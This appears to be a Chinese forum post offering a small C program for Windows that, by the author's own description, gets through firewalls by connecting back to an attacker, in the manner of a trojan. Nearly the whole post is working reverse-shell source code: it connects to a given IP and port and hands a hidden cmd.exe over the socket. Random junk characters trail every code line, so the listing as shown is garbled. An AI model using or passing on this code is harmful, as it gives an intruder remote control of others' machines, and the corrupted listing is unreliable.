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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 zQ+Mu^|u+  
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/* ============================== ZLzc\>QX  
Rebound port in Windows NT [63\2{_^v  
By wind,2006/7 4. R(`#f  
===============================*/ HGYTh"R  
#include >az~0PeEL  
#include =][ )|n  
$ W7}Igx#  
#pragma comment(lib,"wsock32.lib") j sPavY  
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void OutputShell(); [!)HWgx  
SOCKET sClient; ChK-L6  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; (xo`*Q,+  
5Y+YN1  
void main(int argc,char **argv) yy3x]%KK  
{ ;O7"!\  
WSADATA stWsaData; J$6WUz:?  
int nRet; Z]B v  
SOCKADDR_IN stSaiClient,stSaiServer; P^OmJ;""D  
W.^zN'a  
if(argc != 3) #ZJ 1\Ov  
{ >N#Nz 0|(  
printf("Useage:\n\rRebound DestIP DestPort\n"); {@2+oOuYfN  
return; B.y}S  
} #e@NV4q  
#QFz /6  
WSAStartup(MAKEWORD(2,2),&stWsaData); _;3,  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); zr!7*, p  
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stSaiClient.sin_family = AF_INET; G_1r&[N3  
stSaiClient.sin_port = htons(0); {^1O  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); bse`Xfg  
[;wJM|Z J0  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) "73*0'm  
{ jSpj6:@B  
printf("Bind Socket Failed!\n"); S${%T$>  
return; :fj>JF\[  
} vD8pVR+  
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stSaiServer.sin_family = AF_INET; Movm1*&=  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ^'=[+  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ))AxU!*.  
}W^@mi  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) C`r:jA<LC,  
{ kSV(T'#x  
printf("Connect Error!"); ,f^fr&6jb  
return; v7pu  
} (kR NqfX  
OutputShell(); \0 ~?i6o  
} rf=l1GW  
n{N0S^h  
void OutputShell() E2M<I;:EA  
{ QqQhQGV  
char szBuff[1024]; f$FO 1B)  
SECURITY_ATTRIBUTES stSecurityAttributes; ~R[ k^i.Y  
OSVERSIONINFO stOsversionInfo; 4^r6RS@z  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; =Xvm#/  
STARTUPINFO stStartupInfo; +d#8/S*  
char *szShell; IM1&g7Qs2  
PROCESS_INFORMATION stProcessInformation; =Fc]mcJ69  
unsigned long lBytesRead; [\3ZMH *  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); )Lz =[e  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); A5j? Yts  
stSecurityAttributes.lpSecurityDescriptor = 0; J&j5@  
stSecurityAttributes.bInheritHandle = TRUE; s[8M$YBf  
)y8Myb}  
gIrbOMQ7  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); nl}LT/N  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); FaCW +9B  
u D(C jHM>  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); .nZKy't   
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0UJ6> Rj  
stStartupInfo.wShowWindow = SW_HIDE; yf&_l^!  
stStartupInfo.hStdInput = hReadPipe; >>$L vQ  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; &jY| :Fe  
%T$>E7]!  
GetVersionEx(&stOsversionInfo); >TglX t+  
F m:Ys](  
switch(stOsversionInfo.dwPlatformId) hqln6m  
{ Qw5-/p=t  
case 1: h[u@UGK%  
szShell = "command.com"; WyOav6/*K^  
break; 1n<4yfJ  
default: 8o+:|V~X  
szShell = "cmd.exe"; 7HVENj_b+M  
break; 8?8V;   
} <lR:^M[v5<  
{J)%6eL?  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 2OpA1$n6  
sSfP.R  
send(sClient,szMsg,77,0); L~f~XgQ  
while(1) Dl.UbH }=  
{ a& 0g0n6  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); pq r_{  
if(lBytesRead) d`TiY`!  
{ /:]<z6R  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); U\Y0v.11  
send(sClient,szBuff,lBytesRead,0); L+G0/G}O\  
}  OLIMgc(W  
else 842v^ 2  
{ 8H-yT1  
lBytesRead=recv(sClient,szBuff,1024,0); k={1zl ;  
if(lBytesRead<=0) break; |=ph&9  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); @p~scE.#\  
} x%`YV):*  
} Wu* 4r0  
V|@bITJ?7  
return; x-c5iahp'  
}
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